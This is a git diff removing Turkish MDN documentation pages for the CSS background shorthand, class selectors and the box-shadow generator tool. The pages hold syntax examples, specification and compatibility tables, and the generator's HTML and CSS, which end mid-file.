+0,0 @@ ---- -title: background -slug: Web/CSS/background -translation_of: Web/CSS/background ---- -<div>{{CSSRef("CSS Background")}}</div> - -<p><span class="seoSummary"><strong><code>background </code></strong>kısayolu arka plan stillerini - örneğin renk, imaj, kaynak ve boyut ya da tekrarlama metodu- tek seferde vermeye yarayan bir CSS özelliğidir.</span></p> - -<div>{{EmbedInteractiveExample("pages/css/background.html")}}</div> - - - -<p>Bu özellik aşağıdaki stilleri tek satırda vermeyi sağlayan bir <a href="/en-US/docs/Web/CSS/Shorthand_properties">shorthand</a> 'dir: {{cssxref("background-clip")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}, ve {{cssxref("background-attachment")}}.</p> - -<p>Diğer tüm shorthand özelliklerinde olduğu gibi eklenmemiş tüm stiller <a href="/en-US/docs/Web/CSS/initial_value">ilk değer</a>lerini almaya devam eder.</p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="brush: css no-line-numbers">/* Using a <background-color> */ -background: green; - -/* Using a <bg-image> and <repeat-style> */ -background: url("test.jpg") repeat-y; - -/* Using a <box> and <background-color> */ -background: border-box red; - -/* A single image, centered and scaled */ -background: no-repeat center/80% url("../img/image.png"); -</pre> - -<p><code>background</code> özelliği bir ya da daha fazla arka plan katmanının virgülle ayrılmış hali olarak tanımlanır.</p> - -<p>Her katmanın sentaksı aşağıdaki gibidir:</p> - -<ul> - <li>Her katman aşağıdaki değerlerden herhangi birinin sıfır ya da bir tekrarını içerebilir: - <ul> - <li><code><a href="#<attachment>"><attachment></a></code></li> - <li><code><a href="#<bg-image>"><bg-image></a></code></li> - <li><code><a href="#<position>"><position></a></code></li> - <li><code><a href="#<bg-size>"><bg-size></a></code></li> - <li><code><a href="#<repeat-style>"><repeat-style></a></code></li> - </ul> - </li> - <li> <code><a href="#<bg-size>"><bg-size></a></code> değeri sadece <code><a href="#<position>"><position></a></code> değerinden sonra eklenebilir ve '/' karakteriyle ayrılır, örneğin: "<code>center/80%</code>".</li> - <li> <code><a href="#<box>"><box></a></code> değeri hiç eklenmeyebilir ya da bir ya da iki kere eklebilir. Eğer bir kere eklendiyse hem {{cssxref("background-origin")}} hem {{cssxref("background-clip")}} ayarlar. Eğer iki kere eklendiyse, ilk eklenen {{cssxref("background-origin")}} özelliğini ayarlar, ikinci eklenen ise {{cssxref("background-clip")}} ayarlar.</li> - <li> <code><a href="#<background-color>"><background-color></a></code> değeri sadece son katmana eklebilir.</li> -</ul> - -<h3 id="Values(Değerler)">Values(Değerler)</h3> - -<dl> - <dt id="<attachment>"><code><attachment></code></dt> - <dd>See {{cssxref("background-attachment")}}</dd> - <dt id="<box>"><code><box></code></dt> - <dd>See {{cssxref("background-clip")}} and {{cssxref("background-origin")}}</dd> - <dt id="<background-color>"><code><background-color></code></dt> - <dd>See {{cssxref("background-color")}}</dd> - <dt id="<bg-image>"><code><bg-image></code></dt> - <dd>See {{Cssxref("background-image")}}</dd> - <dt id="<position>"><code><position></code></dt> - <dd>See {{cssxref("background-position")}}</dd> - <dt id="<repeat-style>"><code><repeat-style></code></dt> - <dd>See {{cssxref("background-repeat")}}</dd> - <dt id="<bg-size>"><code><bg-size></code></dt> - <dd>See {{cssxref("background-size")}}.</dd> -</dl> - -<h3 id="Formal_syntax">Formal syntax</h3> - -{{csssyntax}} - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="HTML">HTML</h3> - -<pre class="brush: html"><p class="topbanner"> - Starry sky<br/> - Twinkle twinkle<br/> - Starry sky -</p> -<p class="warning">Here is a paragraph<p></pre> - -<h3 id="CSS">CSS</h3> - -<pre class="brush:css' highlight:[2,6];">.warning { - background: pink; -} - -.topbanner { - background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #99f repeat-y fixed; -} -</pre> - -<h3 id="Sonuç">Sonuç</h3> - -<p>{{EmbedLiveSample("Examples")}}</p> - -<h2 id="Accessibility_concerns">Accessibility concerns</h2> - -<p>Assistive technology cannot parse background images. If the image contains information critical to understanding the page's overall purpose, it is better to describe it semantically in the document.</p> - -<ul> - <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li> - <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html">Understanding Success Criterion 1.1.1 | W3C Understanding WCAG 2.0</a></li> -</ul> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSS3 Backgrounds', '#the-background', 'background')}}</td> - <td>{{Spec2('CSS3 Backgrounds')}}</td> - <td>The shorthand property has been extended to support multiple backgrounds and the new {{cssxref("background-size")}}, {{cssxref("background-origin")}} and {{cssxref("background-clip")}} properties.</td> - </tr> - <tr> - <td>{{SpecName('CSS2.1', 'colors.html#propdef-background', 'background')}}</td> - <td>{{Spec2('CSS2.1')}}</td> - <td>No significant changes</td> - </tr> - <tr> - <td>{{SpecName('CSS1', '#background', 'background')}}</td> - <td>{{Spec2('CSS1')}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<p>{{cssinfo}}</p> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("css.properties.background")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{cssxref("box-decoration-break")}}</li> - <li><a href="/en-US/docs/CSS/Using_CSS_gradients">Using gradients</a></li> - <li><a href="/en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">Using multiple backgrounds</a></li> -</ul> diff --git a/files/tr/web/css/class_selectors/index.html b/files/tr/web/css/class_selectors/index.html deleted file mode 100644 index 7db7988ab8..0000000000 --- a/files/tr/web/css/class_selectors/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: Sınıf seçicileri -slug: Web/CSS/Class_selectors -tags: - - CSS - - CSS Referans - - Yeni başlayan - - seçiciler -translation_of: Web/CSS/Class_selectors -original_slug: Web/CSS/Sınıf_seçicileri ---- -<div>{{CSSRef("Selectors")}}</div> - -<p>Sınıf <code>(<em>class</em>)</code> seçicisi, bir HTML belgesindeki elementin <font face="Consolas, Liberation Mono, Courier, monospace">{{htmlattrxref("class")}} </font>özniteliğinin içeriği ile eşleşir. <font face="Consolas, Liberation Mono, Courier, monospace">{{htmlattrxref("class")}} özniteliği boşlukla ayrılmış değerler listesi olarak tanımlanabilir, bu durumda stil ataması yapılabilmesi için seçicinin özniteliğe verilen değerlerden biri ile birebir eşleşmesi gerekir.</font></p> - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<pre class="syntaxbox">.sınıfismi { <em>style properties</em> }</pre> - -<p>Note this is equivalent to the following {{Cssxref("Attribute_selectors", "attribute selector")}}:</p> - -<pre class="syntaxbox">[class~=sınıfismi] { <em>style properties</em> }</pre> - -<h2 id="Örnek">Örnek</h2> - -<h3 id="CSS">CSS</h3> - -<pre class="brush: css">span.classy { - background-color: DodgerBlue; -} -</pre> - -<h3 id="HTML">HTML</h3> - -<pre class="brush: html"><span class="classy">Here's a span with some text.</span> -<span>Here's another.</span> -</pre> - -<p>{{EmbedLiveSample('Example', 200, 50)}}</p> - -<h2 id="Spesifikasyon">Spesifikasyon</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSS4 Selectors', '#class-html', 'class selectors')}}</td> - <td>{{Spec2('CSS4 Selectors')}}</td> - <td>No changes</td> - </tr> - <tr> - <td>{{SpecName('CSS3 Selectors', '#class-html', 'class selectors')}}</td> - <td>{{Spec2('CSS3 Selectors')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('CSS2.1', 'selector.html#class-html', 'child selectors')}}</td> - <td>{{Spec2('CSS2.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('CSS1', '#class-as-selector', 'child selectors')}}</td> - <td>{{Spec2('CSS1')}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> diff --git a/files/tr/web/css/css_background_and_borders/box-shadow_generator/index.html b/files/tr/web/css/css_background_and_borders/box-shadow_generator/index.html deleted file mode 100644 index 0e3e4b1b25..0000000000 --- a/files/tr/web/css/css_background_and_borders/box-shadow_generator/index.html +++ /dev/null @@ -1,2882 +0,0 @@ ---- -title: Box-shadow Oluşturucu -slug: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator -tags: - - box-shadow oluşturucu -translation_of: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator ---- -<p>Bu araç {{cssxref("box-shadow")}} CSS yapısı oluşturarak, CSS objelerinize box-shadow efekti vermenizi sağlar.</p> - -<div class="hidden"> -<h2 id="box-shadow_generator" name="box-shadow_generator">box-shadow generator</h2> - -<h3 id="HTML_Content">HTML Content</h3> - -<pre class="brush: html"><div id="container"> - <div class="group section"> - <div id="layer_manager"> - <div class="group section"> - <div class="button" data-type="add"> </div> - <div class="button" data-type="move-up"> </div> - <div class="button" data-type="move-down"> </div> - </div> - <div id="stack_container"></div> - </div> - - <div id="preview_zone"> - <div id="layer_menu" class="col span_12"> - <div class="button" id="element" data-type="subject" data-title="element"> element </div> - <div class="button" id="before" data-type="subject" data-title=":before"> - :before - <span class="delete" data-type="disable"></span> - </div> - <div class="button" id="after" data-type="subject" data-title=":after"> - :after - <span class="delete" data-type="disable"></span> - </div> - <div class="ui-checkbox" data-topic='before' data-label=":before"></div> - <div class="ui-checkbox" data-topic='after' data-label=":after"></div> - </div> - - <div id="preview"> - <div id="obj-element"> - <div class="content"> </div> - <div id="obj-before"> </div> - <div id="obj-after"> </div> - </div> - </div> - </div> - </div> - - <div id="controls" class="group section"> - <div class="wrap-left"> - <div class="colorpicker category"> - <div class="title"> </div> - <div id="colorpicker" class="group"> - <div id="gradient" class="gradient"> - <div id="gradient_picker"> </div> - </div> - <div id="hue" data-topic="hue" class="hue"> - <div id="hue_selector"> </div> - </div> - <div class="info"> - <div class="input" data-topic="hue" data-title='H:' data-action="HSV"></div> - <div class="input" data-topic="saturation" data-title='S:' data-action="HSV"></div> - <div class="input" data-topic="value" data-title='V:' data-action="HSV"></div> - </div> - <div class="alpha"> - <div id="alpha" data-topic="alpha"> - <div id="alpha_selector"> </div> - </div> - </div> - <div class="info"> - <div class="input" data-topic="r" data-title='R:' data-action="RGB"></div> - <div class="input" data-topic="g" data-title='G:' data-action="RGB"></div> - <div class="input" data-topic="b" data-title='B:' data-action="RGB"></div> - </div> - <div class="preview block"> - <div id="output_color"> </div> - </div> - <div class="block info"> - <div class="input" data-topic="a" data-title='alpha:' data-action="alpha"></div> - <div class="input" data-topic="hexa" data-title='' data-action="hexa"></div> - </div> - </div> - </div> - </div> - - <div class="wrap-right"> - - <div id="shadow_properties" class="category"> - <div class="title"> Shadow properties </div> - <div class="group"> - <div class="group property"> - <div class="ui-slider-name"> inset </div> - <div class="ui-checkbox" data-topic='inset'></div> - </div> - <div class="slidergroup"> - <div class="ui-slider-name"> Position x </div> - <div class="ui-slider-btn-set" data-topic="posX" data-type="sub"></div> - <div class="ui-slider" data-topic="posX" - data-min="-500" data-max="500" data-step="1"> </div> - <div class="ui-slider-btn-set" data-topic="posX" data-type="add"></div> - <div class="ui-slider-input" data-topic="posX" data-unit="px"></div> - </div> - <div class="slidergroup"> - <div class="ui-slider-name"> Position y </div> - <div class="ui-slider-btn-set" data-topic="posY" data-type="sub"></div> - <div class="ui-slider" data-topic="posY" - data-min="-500" data-max="500" data-step="1"> </div> - <div class="ui-slider-btn-set" data-topic="posY" data-type="add"></div> - <div class="ui-slider-input" data-topic="posY" data-unit="px"></div> - </div> - <div class="slidergroup"> - <div class="ui-slider-name"> Blur </div> - <div class="ui-slider-btn-set" data-topic="blur" data-type="sub"></div> - <div class="ui-slider" data-topic="blur" - data-min="0" data-max="200" data-step="1"> </div> - <div class="ui-slider-btn-set" data-topic="blur" data-type="add"></div> - <div class="ui-slider-input" data-topic="blur" data-unit="px"></div> - </div> - <div class="slidergroup"> - <div class="ui-slider-name"> Spread </div> - <div class="ui-slider-btn-set" data-topic="spread" data-type="sub"></div> - <div class="ui-slider" data-topic="spread" - data-min="-100" data-max="100" data-step="1" data-value="50"> - </div> - <div class="ui-slider-btn-set" data-topic="spread" data-type="add"></div> - <div class="ui-slider-input" data-topic="spread" data-unit="px"></div> - </div> - </div> - </div> - - <div id="element_properties" class="category"> - <div class="title"> Class element properties </div> - <div class="group"> - <div class="group property"> - <div class="ui-slider-name"> border </div> - <div class="ui-checkbox" data-topic='border-state' data-state="true"></div> - </div> - <div id="z-index" class="slidergroup"> - <div class="ui-slider-name"> z-index </div> - <div class="ui-slider-btn-set" data-topic="z-index" data-type="sub"></div> - <div class="ui-slider" data-topic="z-index" - data-min="-10" data-max="10" data-step="1"></div> - <div class="ui-slider-btn-set" data-topic="z-index" data-type="add"></div> - <div class="ui-slider-input" data-topic="z-index"></div> - </div> - <div class="slidergroup"> - <div class="ui-slider-name"> top </div> - <div class="ui-slider-btn-set" data-topic="top" data-type="sub"></div> - <div class="ui-slider" data-topic="top" - data-min="-500" data-max="500" data-step="1"> </div> - <div class="ui-slider-btn-set" data-topic="top" data-type="add"></div> - <div class="ui-slider-input" data-topic="top" data-unit="px"></div> - </div> - <div class="slidergroup"> - <div class="ui-slider-name"> left </div> - <div class="ui-slider-btn-set" data-topic="left" data-type="sub"></div> - <div class="ui-slider" data-topic="left" - data-min="-300" data-max="700" data-step="1"> </div> - <div class="ui-slider-btn-set" data-topic="left" data-type="add"></div> - <div class="ui-slider-input" data-topic="left" data-unit="px"></div> - </div> - <div id="transform_rotate" class="slidergroup"> - <div class="ui-slider-name"> Rotate </div> - <div class="ui-slider-btn-set" data-topic="rotate" data-type="sub"></div> - <div class="ui-slider" data-topic="rotate" - data-min="-360" data-max="360" data-step="1" data-value="0"> - </div> - <div class="ui-slider-btn-set" data-topic="rotate" data-type="add"></div> - <div class="ui-slider-input" data-topic="rotate" data-unit="deg"></div> - </div> - <div class="slidergroup"> - <div class="ui-slider-name"> Width </div> - <div class="ui-slider-btn-set" data-topic="width" data-type="sub"></div> - <div class="ui-slider" data-topic="width" - data-min="0" data-max="1000" data-step="1" data-value="200"> - </div> - <div class="ui-slider-btn-set" data-topic="width" data-type="add"></div> - <div class="ui-slider-input" data-topic="width" data-unit="px"></div> - </div> - <div class="slidergroup"> - <div class="ui-slider-name"> Height </div> - <div class="ui-slider-btn-set" data-topic="height" data-type="sub"></div> - <div class="ui-slider" data-topic="height" - data-min="0" data-max="400" data-step="1" data-value="200"> - </div> - <div class="ui-slider-btn-set" data-topic="height" data-type="add"></div> - <div class="ui-slider-input" data-topic="height" data-unit="px"></div> - </div> - </div> - </div> - - <div id="output" class="category"> - <div id="menu" class="menu"></div> - <div class="title"> CSS Code </div> - <div class="group" style="border-top-left-radius: 0;"> - <div class="output" data-topic="element" data-name="element" - data-prop="width height background-color position=[relative] box-shadow"> - </div> - <div class="output" data-topic="before" data-name="element:before" - data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform"> - </div> - <div class="output" data-topic="after" data-name="element:after" - data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform"> - </div> - </div> - </div> - </div> - </div> -</div> -</pre> - -<h3 id="CSS_Content">CSS Content</h3> - -<pre class="brush: css">/* GRID OF TWELVE - * ========================================================================== */ - -.span_12 { - width: 100%; -} - -.span_11 { - width: 91.46%; -} - -.span_10 { - width: 83%; -} - -.span_9 { - width: 74.54%; -} - -.span_8 { - width: 66.08%; -} - -.span_7 { - width: 57.62%; -} - -.span_6 { - width: 49.16%; -} - -.span_5 { - width: 40.7%; -} - -.span_4 { - width: 32.24%; -} - -.span_3 { - width: 23.78%; -} - -.span_2 { - width: 15.32%; -} - -.span_1 { - width: 6.86%; -} - - -/* SECTIONS - * ========================================================================== */ - -.section { - clear: both; - padding: 0px; - margin: 0px; -} - -/* GROUPING - * ========================================================================== */ - - -.group:before, .group:after { - content: ""; - display: table; -} - -.group:after { - clear:both; -} - -.group { - zoom: 1; /* For IE 6/7 (trigger hasLayout) */ -} - -/* GRID COLUMN SETUP - * ========================================================================== */ - -.col { - display: block; - float:left; - margin: 1% 0 1% 1.6%; -} - -.col:first-child { - margin-left: 0; -} /* all browsers except IE6 and lower */ - -/* - * UI Slider - */ - -.slidergroup { - height: 20px; - margin: 10px 0; - font-family: "Segoe UI", Arial, Helvetica, sans-serif; - -moz-user-select: none; - user-select: none; -} - -.slidergroup * { - float: left; - height: 100%; - line-height: 100%; -} - -/* Slider */ - -.ui-slider { - height: 10px; - width: 200px; - margin: 4px 10px; - display: block; - border: 1px solid #999; - border-radius: 3px; - background: #EEE; -} - -.ui-slider:hover { - cursor: pointer; -} - -.ui-slider-name { - width: 90px; - padding: 0 10px 0 0; - text-align: right; - text-transform: lowercase; -} - -.ui-slider-pointer { - width: 13px; - height: 13px; - background-color: #EEE; - border: 1px solid #2C9FC9; - border-radius: 3px; - position: relative; - top: -3px; - left: 0%; -} - -.ui-slider-btn-set { - width: 25px; - background-color: #2C9FC9; - border-radius: 3px; - color: #FFF; - font-weight: bold; - text-align: center; -} - -.ui-slider-btn-set:hover { - background-color: #379B4A; - cursor: pointer; -} - -.ui-slider-input > input { - margin: 0 10px; - padding: 0; - width: 50px; - text-align: center; - - -moz-box-sizing: border-box; - -webkit-box-sizing: border-box; - box-sizing: border-box; -} - -/* - * UI Button - */ - -/* Checkbox */ - -.ui-checkbox { - text-align: center; - font-size: 16px; - font-family: "Segoe UI", Arial, Helvetica, sans-serif; - line-height: 1.5em; - color: #FFF; - - -moz-user-select: none; - -webkit-user-select: none; - -ms-user-select: none; - user-select: none; -} - -.ui-checkbox > input { - display: none; -} - -.ui-checkbox > label { - font-size: 12px; - padding: 0.333em 1.666em 0.5em; - height: 1em; - line-height: 1em; - - background-color: #888; - background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png"); - background-position: center center; - background-repeat: no-repeat; - - color: #FFF; - border-radius: 3px; - font-weight: bold; - float: left; -} - -.ui-checkbox .text { - padding-left: 34px; - background-position: center left 10px; -} - -.ui-checkbox .left { - padding-right: 34px; - padding-left: 1.666em; - background-position: center right 10px; -} - -.ui-checkbox > label:hover { - cursor: pointer; -} - -.ui-checkbox > input:checked + label { - background-image: url("https://mdn.mozillademos.org/files/5681/checked.png"); - background-color: #379B4A; -} - -/* - * BOX SHADOW GENERATOR TOOL - */ - -body { - max-width: 1000px; - height: 800px; - margin: 20px auto 0; - - font-family: "Segoe UI", Arial, Helvetica, sans-serif; - - -moz-box-sizing: border-box; - -webkit-box-sizing: border-box; - box-sizing: border-box; - - -moz-user-select: none; - -webkit-user-select: none; - -ms-user-select: none; -} - -#container { - width: 100%; - padding: 2px; - - -moz-box-sizing: border-box; - -webkit-box-sizing: border-box; - box-sizing: border-box; -} - - -/* container with shadows stacks */ -#stack_container { - height: 400px; - overflow: hidden; - position: relative; - border: 1px solid #CCC; - border-radius: 3px; - - -moz-box-sizing: border-box; - -webkit-box-sizing: border-box; - box-sizing: border-box; -} - -#stack_container .container { - height: 100%; - width: 100%; - position: absolute; - left: 100%; - transition-property: left; - transition-duration: 0.5s; - - -moz-box-sizing: border-box; - -webkit-box-sizing: border-box; - box-sizing: border-box; -} - - -#stack_container .title { - text-align: center; - font-weight: bold; - line-height: 2em; - border-bottom: 1px solid #43A6E1; - color: #666; -} - - -/* - * Stack of Layers for shadow - */ - -#layer_manager { - width: 17%; - background-color: #FEFEFE; - margin: 0 1% 0 0; - - -moz-box-sizing: border-box; - -webkit-box-sizing: border-box; - box-sizing: border-box; - float: left; -} - - -#layer_manager .button { - width: 30%; - height: 25px; - margin:0 0 10px; - color: #333; - background-color: #EEE; - text-align: center; - font-size: 0.75em; - line-height: 1.5em; - border: 1px solid #CCC; - border-radius: 3px; - - display: block; - background-position: center center; - background-repeat: no-repeat; - - -moz-box-sizing: border-box; - -webkit-box-sizing: border-box; - box-sizing: border-box; - float: left; -} - -#layer_manager .button:hover { - background-color: #3380C4; - border: 1px solid #3380C4; - cursor: pointer; -} - -#layer_manager [data-type='add'] { - background-image: url("https://mdn.mozillademos.org/files/5685/add-black.png"); -} - -#layer_manager [data-type='add']:hover { - background-image: url("https://mdn.mozillademos.org/files/5687/add-white.png"); -} - -#layer_manager [data-type='move-up'] { - background-image: url("https://mdn.mozillademos.org/files/5697/up-black.png"); - margin-left: 5%; - margin-right: 5%; -} - -#layer_manager [data-type='move-up']:hover { - background-image: url("https://mdn.mozillademos.org/files/5709/up-white.png"); -} - -#layer_manager [data-type='move-down'] { - background-image: url("https://mdn.mozillademos.org/files/5693/down-black.png"); -} - -#layer_manager [data-type='move-down']:hover { - background-image: url("https://mdn.mozillademos.org/files/5695/down-white.png"); -} - -/* shadows classes */ - -#layer_manager .node { - width: 100%; - margin: 5px 0; - padding: 5px; - text-align: center; - background-color: #EEE; - border: 1px solid #DDD; - font-size: 0.75em; - line-height: 1.5em; - color: #333; - border-radius: 3px; - - position: relative; - display: block; - - -moz-box-sizing: border-box; - -webkit-box-sizing: border-box; - box-sizing: border-box; -} - -#layer_manager .node:hover { - color: #FFF; - background-color: #3380C4; - cursor: pointer; -} - -/* active element styling */ - -#layer_manager [data-active='layer'] { - color: #FFF; - border: none; - background-color: #379B4A; -} - -#layer_manager [data-active='subject'] { - color: #FFF; - background-color: #467FC9; -} - -/* delete button */ - -#layer_manager .delete { - width: 1.5em; - height: 100%; - float: right; - border-radius: 3px; - background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png"); - background-position: center center; - background-repeat: no-repeat; - position: absolute; - top: 0; - right: 10px; - display: none; -} - -#layer_manager .delete:hover { - background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png"); -} - -#layer_manager .node:hover .delete { - display: block; -} - - -#layer_manager .stack { - padding: 0 5px; - max-height: 90%; - overflow: auto; - overflow-x: hidden; -} - - -/* - * Layer Menu - */ - -#layer_menu { - margin: 0 0 10px 0; - -moz-box-sizing: border-box; - -webkit-box-sizing: border-box; - box-sizing: border-box; -} - -#layer_menu .button { - width: 100px; - margin: 0 5px 0 0; - padding: 2.5px; - color: #333; - background-color: #EEE; - border: 1px solid #CCC; - border-radius: 3px; - text-align: center; - font-size: 0.75em; - line-height: 1.5em; - - position: relative; - display: block; - float: left; - - -moz-box-sizing: border-box; - -webkit-box-sizing: border-box; - box-sizing: border-box; -} - -#layer_menu .button:hover { - color: #FFF; - background-color: #3380C4; - border: 1px solid #3380C4; - cursor: pointer; -} - -#layer_menu .delete { - width: 1.5em; - height: 100%; - float: right; - border-radius: 3px; - background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png"); - background-position: center center; - background-repeat: no-repeat; - position: absolute; - top: 0; - right: 5px; - display: none; -} - -#layer_menu .delete:hover { - background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png"); -} - -#layer_menu .button:hover .delete { - display: block; -} - - -/* - * active element styling - */ - -#layer_menu [data-active='subject'] { - color: #FFF; - background-color: #379B4A; - border: 1px solid #379B4A; -} - - -/* Checkbox */ - -#layer_menu .ui-checkbox > label { - height: 15px; - line-height: 17px; - font-weight: normal; - width: 46px; - margin: 0 5px 0 0; -} - -#layer_menu .ui-checkbox > input:checked + label { - display: none; -} - - -/******************************************************************************/ -/******************************************************************************/ -/* - * Preview Area - */ - -#preview_zone { - width: 82%; - float: left; - -} - - -#preview { - width: 100%; - height: 400px; - border: 1px solid #CCC; - border-radius: 3px; - text-align: center; - - -moz-box-sizing: border-box; - -webkit-box-sizing: border-box; - box-sizing: border-box; - cursor: move; - float: left; -} - -#preview .content { - width: 100%; - height: 100%; - display: block; -} - -#obj-element { - width: 300px; - height: 100px; - border: 1px solid #CCC; - background: #FFF; - position: relative; -} - - -#obj-before { - height: 100%; - width: 100%; - background: #999; - border: 1px solid #CCC; - text-align: left; - display : block; - position: absolute; - z-index: -1; -} - -#obj-after { - height: 100%; - width: 100%; - background: #DDD; - border: 1px solid #CCC; - text-align: right; - display : block; - position: absolute; - z-index: -1; -} - - -/******************************************************************************/ -/******************************************************************************/ - -/** - * Controls - */ - -.wrap-left { - float: left; - overflow: hidden; -} - -.wrap-right { - float: right; - overflow: hidden; -} - -.wrap-left > * { - float: left; -} - -.wrap-right > * { - float: right; -} - -@media (min-width: 960px) { - - .wrap-left { - width: 45%; - } - - .wrap-right { - width: 55%; - } -} - - -@media (max-width: 959px) { - - .wrap-left { - width: 30%; - } - - .wrap-right { - width: 70%; - } -} - - -#controls { - color: #444; - margin: 10px 0 0 0; -} - - -#controls .category { - width: 500px; - margin: 0 auto 20px; - padding: 0; - -} - -#controls .category .title { - width: 100%; - height: 1.5em; - line-height: 1.5em; - color: #AAA; - text-align: right; -} - -#controls .category > .group { - border: 1px solid #CCC; - border-radius: 3px; -} - - -/** - * Color Picker - */ - -@media (min-width: 960px) { - #controls .colorpicker { - width: 420px; - } -} - -@media (max-width: 959px) { - #controls .colorpicker { - width: 210px; - } -} - -#colorpicker { - width: 100%; - margin: 0 auto; -} - -#colorpicker .gradient { - width: 200px; - height: 200px; - margin: 5px; - background: url("https://mdn.mozillademos.org/files/5707/picker_mask_200.png"); - background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), - -moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%); - background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), - -webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%); - background-color: #F00; - float: left; -} - -#colorpicker .hue { - width: 200px; - height: 30px; - margin: 5px; - background: url("https://mdn.mozillademos.org/files/5701/hue.png"); - background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%, - #00F 66.66%, #F0F 83.33%, #F00 100%); - background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%, - #00F 66.66%, #F0F 83.33%, #F00 100%); - float: left; -} - -#colorpicker .alpha { - width: 200px; - height: 30px; - margin: 5px; - border: 1px solid #CCC; - float: left; - background: url("https://mdn.mozillademos.org/files/5705/alpha.png"); - - -moz-box-sizing: border-box; - -webkit-box-sizing: border-box; - box-sizing: border-box; -} - -#colorpicker #alpha { - width: 100%; - height: 100%; - background: url("https://mdn.mozillademos.org/files/5703/alpha_mask.png"); - background: -moz-linear-gradient(left, rgba(255, 0, 0, 0) 0%, rgba(255, 0, 0, 1) 100%); -} - -#colorpicker #gradient_picker { - width: 0.5em; - height: 0.5em; - border-radius: 0.4em; - border: 2px solid #CCC; - position: relative; - top: 20%; - left: 20%; -} - -#colorpicker #hue_selector, -#colorpicker #alpha_selector { - width: 3px; - height: 100%; - border: 1px solid #777; - background-color: #FFF; - position: relative; - top: -1px; - left: 0%; -} - -/* input HSV and RGB */ -#colorpicker .info { - width: 200px; - margin: 5px; - float: left; -} - -#colorpicker .info * { - float: left; -} - -#colorpicker .info input { - margin: 0; - text-align: center; - width: 30px; - -moz-user-select: text; - -webkit-user-select: text; - -ms-user-select: text; -} - -#colorpicker .info span { - height: 20px; - width: 30px; - text-align: center; - line-height: 20px; - display: block; -} - -/* Preview color */ -#colorpicker .block { - width: 95px; - height: 54px; - float: left; - position: relative; -} - -#colorpicker .preview { - margin: 5px; - border: 1px solid #CCC; - background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png"); - - -moz-box-sizing: border-box; - -webkit-box-sizing: border-box; - box-sizing: border-box; -} - -#colorpicker .preview:before { - height: 100%; - width: 50%; - left: 50%; - content: ""; - background: #FFF; - position: absolute; - z-index: 1; -} - -#colorpicker .preview > * { - width: 50%; - height: 100%; -} - -#colorpicker #output_color { - width: 100%; - height: 100%; - position: absolute; - z-index: 2; -} - -#colorpicker .block .input { - float: right; -} - -#colorpicker [data-topic="a"] > span { - width: 50px; -} - -#colorpicker [data-topic="hexa"] { - float: right; - margin: 10px 0 0 0; -} - 